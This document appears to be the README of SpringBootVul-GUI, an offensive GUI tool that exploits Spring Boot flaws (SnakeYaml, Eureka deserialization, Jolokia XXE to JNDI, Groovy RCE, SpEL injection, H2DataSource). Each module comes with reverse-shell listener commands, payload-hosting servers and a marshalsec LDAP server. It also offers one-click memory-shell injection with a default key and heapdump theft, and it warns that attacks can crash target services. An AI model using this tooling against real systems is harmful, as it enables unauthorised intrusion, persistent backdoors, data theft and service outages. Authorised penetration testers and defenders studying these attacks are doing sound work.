SpringBootVul-GUI

Exploits SnakeYaml vulnerabilities.

Workflow: SnakeYamlYml.yml -> SnakeYaml.jar -> getshell.

Setup:

1. The default listening port is 9950.
2. The port entered in the tool is the port hosting the service.
3. Note: This exploit sends a payload to the target server. The target's environment may show a 500 error after testing; the server must be restarted to restore normal operation.
4. To avoid collision with existing JAR files on the target, the tool uses an incrementing naming scheme for the generated JAR files to enable 'infinite shells'.

Execution Example:

# On your VPS (Mac)
nc -lvk 9950
# On your VPS (Linux)
nc -lvp 9950
# Start Python server
python -m http.server 80

This module tests for Eureka deserialization RCE.

Warning: Sending this packet will cause it to reside in the target Eureka instance and continuously request, which may cause the website to become inaccessible if the server errors out.

Setup:

1. You must enable two ports on your VPS: one for your Python server and one for the reverse shell.
2. The reverse shell port defaults to 9000.
3. The port entered in the tool's input box should be the hosted server port (the Python server port).

Execution Example:

# On your VPS (Mac)
nc -lvk 9000
# On your VPS (Linux)
nc -lvp 9000
# Start Python server
python -m http.server 80

Exploits Jolokia via XXE to access LDAP, leading to JNDI malicious class loading.

Setup:

1. Switch to the resources folder.
2. The tool's listening port is the nc port, not port 80.
3. Use the resources folder's JNDI server.

Execution Example:

# Run LDAP Ref Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#JolokiaLogback 1389

# Start Python server
python -m http.server 80

# Listen for shell (Linux)
nc -lvp 9090
# Listen for shell (Mac)
nc -lvk 9090

Exploits Groovy RCE via spring.main.source.

Warning: If the HTTP server returns a file containing malformed Groovy syntax, the target program may exit unexpectedly. Avoid modifying Groovy content or file structures haphazardly.

Setup:

1. The getshell listening port is the port hosting the Groovy file.
2. The reverse shell port defaults to 7777.
3. Enter the port where you started your server in the tool's input box. It is best to host the file from the project's resources folder.

Execution Example:

# On your VPS (Mac)
nc -lvk 7777
# On your VPS (Linux)
nc -lvp 7777
# Start Python server
python -m http.server 80

This module detects and exploits SpEL injection.

Usage:

1. To detect multiple parameter values, add a single quote ' as a marker to the parameter values (e.g., http://127.0.0.1:9091/article?id='&b=').
2. The getshell function allows direct shell exploitation. In the module, input the Address + Route + Parameter directly. Do not include the = or the value following it.

Execution Example:

# Listen for shell
# Mac
nc -lvk port
# Linux
nc -lvp port

Exploits Groovy RCE via logging.config.

Warning: Similar to MainSourceGroovyRCE, malformed Groovy syntax in the returned file can cause the target application to crash.

Setup:

1. The getshell listening port is the port hosting the Groovy file.
2. The reverse shell port defaults to 4444.
3. Enter the port where you started your server in the tool's input box. It is recommended to host the file from the resources folder.

Execution Example:

# On your VPS (Mac)
nc -lvk 4444
# On your VPS (Linux)
nc -lvp 4444
# Start Python server
python -m http.server 80

The tool supports injecting a memory shell (内存马) with one click, currently specifically for Spring Cloud Gateway.

Default Key: hackfunny

This module tests for RCE via H2DataSource.

Warning: This is a non-echo RCE. The tool uses a mechanism to attempt 'infinite shells' by generating random 3-digit numbers (incrementing if the tool remains open). If the site has been previously tested, the payload might cause the service to crash.

Setup:

1. The default listening port is 8881.
2. In the tool, enter the port where you have started your server.
3. For the 'infinite shell' mechanism to work reliably, it is recommended to start the server within the project's resources folder.

Execution Example:

# On your VPS (Mac)
nc -lvk 8881
# On your VPS (Linux)
nc -lvp 8881
# Start Python server
python -m http.server 80

You can run SpringBootVul-GUI by either cloning the repository and running the source code or by using the pre-compiled JAR file.

Requirements:

• JDK 1.8 is required.
• If using high versions of Java, you must manually load the JavaFX dependencies as the system uses JavaFX for its GUI.

File Structure Note: When downloading heapdumps, the tool automatically downloads files from the target website and stores them in the HPFile/ directory located under the JAR file.

# Option 1: Clone and run source
git clone https://github.com/wh1t3zer/SpringBootVul-GUI
# Run Springboot_vul.java

# Option 2: Run pre-compiled JAR
java -jar SpringBootVul_GUI.jar